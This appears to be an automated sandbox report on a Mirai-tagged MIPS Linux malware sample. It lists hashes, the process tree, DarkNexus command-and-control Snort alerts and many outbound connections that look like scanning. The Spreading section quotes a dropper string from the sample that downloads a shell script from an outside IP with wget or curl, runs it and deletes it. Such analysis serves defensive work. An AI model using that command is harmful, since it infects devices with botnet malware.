Create Interactive Tour

Linux Analysis Report
7r792pU6AE.elf

Overview

General Information

Sample Name:	7r792pU6AE.elf
Analysis ID:	738526
MD5:	970dd42fe4aa263383eec5324a5ed5b2
SHA1:	9742638f05ea6980fd744eab25a9ca43ca7f3445
SHA256:	2ffb369480d74e71480c94c0146f39a30a22749e7e32e914cf617b6f73379095
Tags:	32elfmipsmirai
Infos:

Detection

Score:	60
Range:	0 - 100
Whitelisted:	false

Signatures

Snort IDS alert for network traffic

Sample deletes itself

Uses known network protocols on non-standard ports

Found strings indicative of a multi-platform dropper

Uses the "uname" system call to query kernel version information (possible evasion)

Executes the "systemctl" command used for controlling the systemd system and service manager

Detected TCP or UDP traffic on non-standard ports

Sample listens on a socket

Deletes log files

Sample has stripped symbol table

HTTP GET or POST without a user agent

Executes commands using a shell command-line interpreter

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Classification

Analysis Advice

Some HTTP requests failed (404). It is likely that the sample will exhibit less behavior.

Static ELF header machine description suggests that the sample might not execute correctly on this machine.

Non-zero exit code suggests an error during the execution. Lookup the error code for hints.

Static ELF header machine description suggests that the sample might only run correctly on MIPS or ARM architectures.

General Information

Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	738526
Start date and time:	2022-11-05 00:24:18 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 5m 49s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	7r792pU6AE.elf
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Detection:	MAL
Classification:	mal60.spre.troj.evad.linELF@0/53@35/0

Runtime Messages

Command:	/tmp/7r792pU6AE.elf
PID:	6290
Exit Code:	1
Exit Code Info:
Killed:	False
Standard Output:	Segmentation Fault (Core dumped). m
Standard Error:

Process Tree

system is lnxubuntu20

systemd New Fork (PID: 6205, Parent: 1)

logrotate (PID: 6205, Parent: 1, MD5: ff9f6831debb63e53a31ff8057143af6) Arguments: /usr/sbin/logrotate /etc/logrotate.conf

logrotate New Fork (PID: 6268, Parent: 6205)

gzip (PID: 6268, Parent: 6205, MD5: beef4e1f54ec90564d2acd57c0b0c897) Arguments: /bin/gzip

logrotate New Fork (PID: 6269, Parent: 6205)

sh (PID: 6269, Parent: 6205, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "\n\t\tinvoke-rc.d --quiet cups restart > /dev/null\n" logrotate_script "/var/log/cups/*log "

sh New Fork (PID: 6270, Parent: 6269)

invoke-rc.d (PID: 6270, Parent: 6269, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: invoke-rc.d --quiet cups restart

invoke-rc.d New Fork (PID: 6271, Parent: 6270)

runlevel (PID: 6271, Parent: 6270, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: /sbin/runlevel

invoke-rc.d New Fork (PID: 6272, Parent: 6270)

systemctl (PID: 6272, Parent: 6270, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl --quiet is-enabled cups.service

invoke-rc.d New Fork (PID: 6275, Parent: 6270)

ls (PID: 6275, Parent: 6270, MD5: e7793f15c2ff7e747b4bc7079f5cd4f7) Arguments: ls /etc/rc[S2345].d/S[0-9][0-9]cups

invoke-rc.d New Fork (PID: 6276, Parent: 6270)

systemctl (PID: 6276, Parent: 6270, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl --quiet is-active cups.service

logrotate New Fork (PID: 6277, Parent: 6205)

gzip (PID: 6277, Parent: 6205, MD5: beef4e1f54ec90564d2acd57c0b0c897) Arguments: /bin/gzip

logrotate New Fork (PID: 6278, Parent: 6205)

sh (PID: 6278, Parent: 6205, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c /usr/lib/rsyslog/rsyslog-rotate logrotate_script /var/log/syslog

sh New Fork (PID: 6279, Parent: 6278)

rsyslog-rotate (PID: 6279, Parent: 6278, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /usr/lib/rsyslog/rsyslog-rotate

rsyslog-rotate New Fork (PID: 6280, Parent: 6279)

systemctl (PID: 6280, Parent: 6279, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl kill -s HUP rsyslog.service

systemd New Fork (PID: 6206, Parent: 1)

install (PID: 6206, Parent: 1, MD5: 55e2520049dc6a62e8c94732e36cdd54) Arguments: /usr/bin/install -d -o man -g man -m 0755 /var/cache/man

systemd New Fork (PID: 6261, Parent: 1)

find (PID: 6261, Parent: 1, MD5: b68ef002f84cc54dd472238ba7df80ab) Arguments: /usr/bin/find /var/cache/man -type f -name *.gz -atime +6 -delete

systemd New Fork (PID: 6273, Parent: 1)

mandb (PID: 6273, Parent: 1, MD5: 1dda5ea0027ecf1c2db0f5a3de7e6941) Arguments: /usr/bin/mandb --quiet

7r792pU6AE.elf (PID: 6290, Parent: 6128, MD5: 0083f1f0e77be34ad27f849842bbb00c) Arguments: /tmp/7r792pU6AE.elf

7r792pU6AE.elf New Fork (PID: 6292, Parent: 6290)

7r792pU6AE.elf New Fork (PID: 6294, Parent: 6292)

7r792pU6AE.elf New Fork (PID: 6296, Parent: 6294)

7r792pU6AE.elf New Fork (PID: 6298, Parent: 6296)

7r792pU6AE.elf New Fork (PID: 6305, Parent: 6298)

7r792pU6AE.elf New Fork (PID: 6308, Parent: 6298)

7r792pU6AE.elf New Fork (PID: 6310, Parent: 6298)

7r792pU6AE.elf New Fork (PID: 6314, Parent: 6298)

7r792pU6AE.elf New Fork (PID: 6316, Parent: 6298)

7r792pU6AE.elf New Fork (PID: 6320, Parent: 6298)

7r792pU6AE.elf New Fork (PID: 6324, Parent: 6298)

7r792pU6AE.elf New Fork (PID: 6326, Parent: 6298)

7r792pU6AE.elf New Fork (PID: 6330, Parent: 6298)

7r792pU6AE.elf New Fork (PID: 6334, Parent: 6298)

7r792pU6AE.elf New Fork (PID: 6336, Parent: 6298)

7r792pU6AE.elf New Fork (PID: 6338, Parent: 6298)

7r792pU6AE.elf New Fork (PID: 6340, Parent: 6298)

7r792pU6AE.elf New Fork (PID: 6344, Parent: 6298)

7r792pU6AE.elf New Fork (PID: 6359, Parent: 6298)

7r792pU6AE.elf New Fork (PID: 6361, Parent: 6298)

7r792pU6AE.elf New Fork (PID: 6365, Parent: 6298)

7r792pU6AE.elf New Fork (PID: 6371, Parent: 6298)

7r792pU6AE.elf New Fork (PID: 6375, Parent: 6298)

7r792pU6AE.elf New Fork (PID: 6380, Parent: 6298)

7r792pU6AE.elf New Fork (PID: 6384, Parent: 6298)

7r792pU6AE.elf New Fork (PID: 6386, Parent: 6298)

7r792pU6AE.elf New Fork (PID: 6388, Parent: 6298)

7r792pU6AE.elf New Fork (PID: 6390, Parent: 6298)

7r792pU6AE.elf New Fork (PID: 6394, Parent: 6298)

7r792pU6AE.elf New Fork (PID: 6401, Parent: 6298)

7r792pU6AE.elf New Fork (PID: 6405, Parent: 6298)

7r792pU6AE.elf New Fork (PID: 6407, Parent: 6298)

7r792pU6AE.elf New Fork (PID: 6409, Parent: 6298)

7r792pU6AE.elf New Fork (PID: 6411, Parent: 6298)

7r792pU6AE.elf New Fork (PID: 6418, Parent: 6298)

7r792pU6AE.elf New Fork (PID: 6422, Parent: 6298)

7r792pU6AE.elf New Fork (PID: 6430, Parent: 6298)

7r792pU6AE.elf New Fork (PID: 6432, Parent: 6298)

cleanup

Snort Signatures

ETPRO TROJAN ELF/DarkNexus CnC Beacon Keep-Alive (Inbound) - Source IP: 185.132.53.77 - Destination IP: 192.168.2.23

Timestamp:	185.132.53.77192.168.2.232973470402848607 11/05/22-00:27:09.979530
SID:	2848607
Source Port:	2973
Destination Port:	47040
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/DarkNexus CnC Beacon Keep-Alive (Outbound) - Source IP: 192.168.2.23 - Destination IP: 185.132.53.77

Timestamp:	192.168.2.23185.132.53.774704029732848606 11/05/22-00:27:09.959360
SID:	2848606
Source Port:	47040
Destination Port:	2973
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

• Spreading
• Networking
• System Summary
• Persistence and Installation Behavior
• Hooking and other Techniques for Hiding and Protection
• Malware Analysis System Evasion

Click to jump to signature section

Show All Signature Results

Spreading

Found strings indicative of a multi-platform dropper

Source: 7r792pU6AE.elf

String: cd /data/local/tmp; busybox wget http://45.95.55.214/adb/adb.sh -O -> vzwxz; chmod 777 vzwxz; sh vzwxz; curl -O http://45.95.55.21/adb/adb.sh; cat wget.sh > adb; chmod 777 adb; sh adb; rm -rf vzwxz adb

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2848606 ETPRO TROJAN ELF/DarkNexus CnC Beacon Keep-Alive (Outbound) 192.168.2.23:47040 -> 185.132.53.77:2973
Source: Traffic	Snort IDS: 2848607 ETPRO TROJAN ELF/DarkNexus CnC Beacon Keep-Alive (Inbound) 185.132.53.77:2973 -> 192.168.2.23:47040

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 55382 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 8000 -> 55382
Source: unknown	Network traffic detected: HTTP traffic on port 48966 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 8088 -> 48966
Source: unknown	Network traffic detected: HTTP traffic on port 41708 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 41802 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 41580 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 41580
Source: unknown	Network traffic detected: HTTP traffic on port 50348 -> 8089
Source: unknown	Network traffic detected: HTTP traffic on port 8089 -> 50348
Source: unknown	Network traffic detected: HTTP traffic on port 33184 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 33184 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 33184 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 40416 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 40416 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 40416 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 40416 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 47622 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 57312 -> 8089
Source: unknown	Network traffic detected: HTTP traffic on port 8089 -> 57312
Source: unknown	Network traffic detected: HTTP traffic on port 43844 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 43844 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 43844 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 50956 -> 9001

Source: global traffic	TCP traffic: 192.168.2.23:47040 -> 185.132.53.77:2973
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 138.78.33.223:8088
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 117.83.121.9:8089
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 252.125.239.28:8081
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 191.150.32.213:8000
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 115.144.50.129:8000
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 202.44.98.219:8000
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 92.183.236.206:8088
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 131.177.148.239:8081
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 123.165.198.241:8888
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 152.173.216.24:81
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 31.54.186.114:88
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 199.248.213.6:8888
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 67.41.124.144:8000
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 195.87.139.149:8080
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 97.230.195.37:82
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 147.64.222.83:8081
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 102.110.164.199:8081
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 164.142.140.198:8000
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 168.191.92.198:9001
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 249.245.200.107:88
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 188.179.226.168:8088
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 35.60.144.86:8088
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 98.91.48.55:8888
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 38.41.209.52:82
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 217.165.59.93:88
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 206.181.248.199:9001
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 171.163.169.169:88
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 94.237.139.177:8888
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 135.251.12.217:8088
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 61.77.179.23:9001
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 121.171.183.136:9001
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 65.111.100.161:8081
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 45.83.114.108:88
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 185.213.239.150:8888
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 42.112.197.151:9001
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 242.52.131.223:9001
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 218.5.151.182:8888
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 140.85.35.26:8000
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 32.237.160.182:81
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 22.205.126.107:8089
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 94.31.163.247:8080
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 84.242.117.17:8000
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 39.178.148.68:8081
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 106.102.239.195:82
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 27.247.82.125:9001
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 99.128.178.216:82
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 220.119.94.204:8080
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 253.99.134.224:8088
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 244.166.7.1:88
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 187.158.26.169:81
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 27.26.75.156:9001
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 202.198.158.15:8081
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 29.22.57.70:8000
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 110.152.141.176:8000
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 98.245.37.126:9001
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 196.75.40.66:8081
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 72.186.15.61:82
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 17.100.40.250:8080
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 57.27.60.36:8088
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 188.87.47.161:8888
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 115.35.115.211:8081
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 94.188.176.50:8888
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 188.115.223.161:8000
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 152.13.234.18:8089
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 86.28.224.14:8088
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 131.39.172.250:81
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 195.237.218.87:8000
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 195.61.150.185:8888
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 124.144.226.237:8080
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 91.112.251.151:8080
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 38.118.47.96:8888
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 185.150.66.118:8000
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 179.126.57.86:8089
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 9.173.35.10:8888
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 76.32.60.129:8081
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 114.170.248.195:88
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 33.50.154.126:88
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 132.135.26.126:82
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 6.113.26.189:81
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 179.40.75.59:88
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 156.53.119.133:8080
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 29.143.29.151:8081
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 104.164.252.194:82
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 70.217.190.34:8080
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 44.14.253.53:8088
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 61.228.42.169:8000
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 164.204.118.149:8888
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 219.42.143.204:8089
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 107.86.119.40:8080
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 11.249.131.96:8088
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 136.53.144.98:9001
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 247.38.75.96:8888
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 15.241.140.128:9001
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 176.234.105.51:8080
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 79.176.164.230:9001
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 65.110.67.38:8089
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 29.6.245.52:81
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 146.174.104.135:81
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 203.183.219.83:81
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 122.171.17.201:8000
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 70.29.150.154:82
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 209.168.195.131:8081
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 58.156.158.2:81
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 69.254.35.38:8000
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 187.183.169.139:8000
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 55.78.14.12:9001
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 90.152.44.229:8888
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 32.133.107.136:8000
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 185.73.139.128:88
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 195.251.38.40:8081
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 1.116.1.160:8000
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 250.183.9.248:8089
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 122.47.113.64:8000
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 78.122.206.60:8888
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 53.54.102.1:88
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 93.203.5.83:88
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 161.10.137.227:8888
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 110.151.57.105:8088
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 85.112.104.91:8080
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 49.229.252.195:9001
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 128.53.42.100:9001
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 147.133.214.56:8088
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 165.232.18.180:8088
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 163.37.225.3:8080
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 219.166.251.249:82
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 220.84.119.38:9001
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 102.96.233.67:8081
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 152.102.50.85:81
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 59.251.169.34:8089
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 122.24.165.111:9001
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 80.113.200.62:82
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 168.39.115.57:8089
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 215.96.43.252:8088
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 62.163.66.99:8089
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 45.249.115.90:88
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 142.41.156.246:8000
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 9.251.63.250:8888
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 101.130.217.128:8088
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 245.185.142.57:8888
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 188.131.180.19:8089
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 182.134.74.200:8080
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 81.121.118.66:8888
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 133.8.132.132:8080
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 20.41.36.7:8088
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 165.125.72.254:8088
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 5.141.153.219:8081
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 153.246.158.16:8088
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 24.11.155.18:88
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 20.151.220.168:88
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 212.111.24.9:8000
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 47.31.197.165:8080
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 60.239.31.139:8089
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 121.189.148.115:88
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 190.190.30.115:81
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 174.164.192.151:82
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 100.13.154.253:8088
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 7.167.176.144:8888
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 81.159.119.199:82
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 170.213.158.248:8089
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 201.212.122.108:8088
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 62.169.223.40:8080
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 177.131.76.142:8888
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 54.129.14.206:81
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 147.135.219.174:82
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 69.93.2.212:8081
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 177.74.198.95:8089
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 52.207.235.229:82
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 54.178.8.250:8089
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 19.192.185.252:8080
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 254.210.51.97:8080
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 143.190.147.75:82
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 103.218.146.169:8089
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 33.198.63.218:8081
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 186.156.82.237:8000
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 112.229.158.105:8080
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 219.170.232.212:8000
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 44.0.147.189:81
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 4.166.38.248:8888
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 194.137.231.205:88
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 203.10.226.86:82
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 143.117.198.146:8000
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 94.128.204.215:9001
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 193.222.45.203:82
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 241.221.3.17:8088
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 11.188.244.28:8080
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 93.61.150.137:81
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 11.126.195.201:88
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 187.105.121.140:82
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 101.179.127.160:8081
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 153.137.20.66:9001
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 197.30.18.229:8081
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 151.251.59.132:82
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 135.141.139.120:9001
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 110.215.191.217:9001
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 157.160.66.84:82
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 60.166.39.13:8081
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 93.141.63.13:8088
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 206.98.170.134:8081
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 9.25.38.10:82
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 63.102.64.186:81
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 37.45.221.214:88
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 48.240.112.62:8089
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 93.167.20.113:8888
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 112.66.88.7:81
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 46.214.127.116:81
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 144.67.85.23:8080
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 89.229.148.6:8081
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 105.232.205.55:8080
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 88.238.168.185:82
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 106.185.170.194:8088
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 40.215.17.21:88
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 201.0.124.57:9001
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 216.9.93.90:8088
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 156.109.145.80:82
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 42.145.110.191:88
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 205.249.65.215:82
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 38.148.88.66:8000
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 113.249.12.51:8080
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 121.240.183.183:8088
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 133.69.248.180:82
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 161.55.78.173:82
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 107.81.18.90:8081
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 138.3.159.99:9001
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 189.142.192.165:81
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 169.120.169.95:82
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 72.182.149.51:88
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 37.28.214.220:8088
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 133.38.53.248:81
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 145.108.223.197:8081
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 26.152.18.160:8888
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 51.143.228.246:9001
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 214.30.160.63:88
Source: global traffic	TCP traffic: 192.168.2.23:43527 -> 133.160.104.79:8080
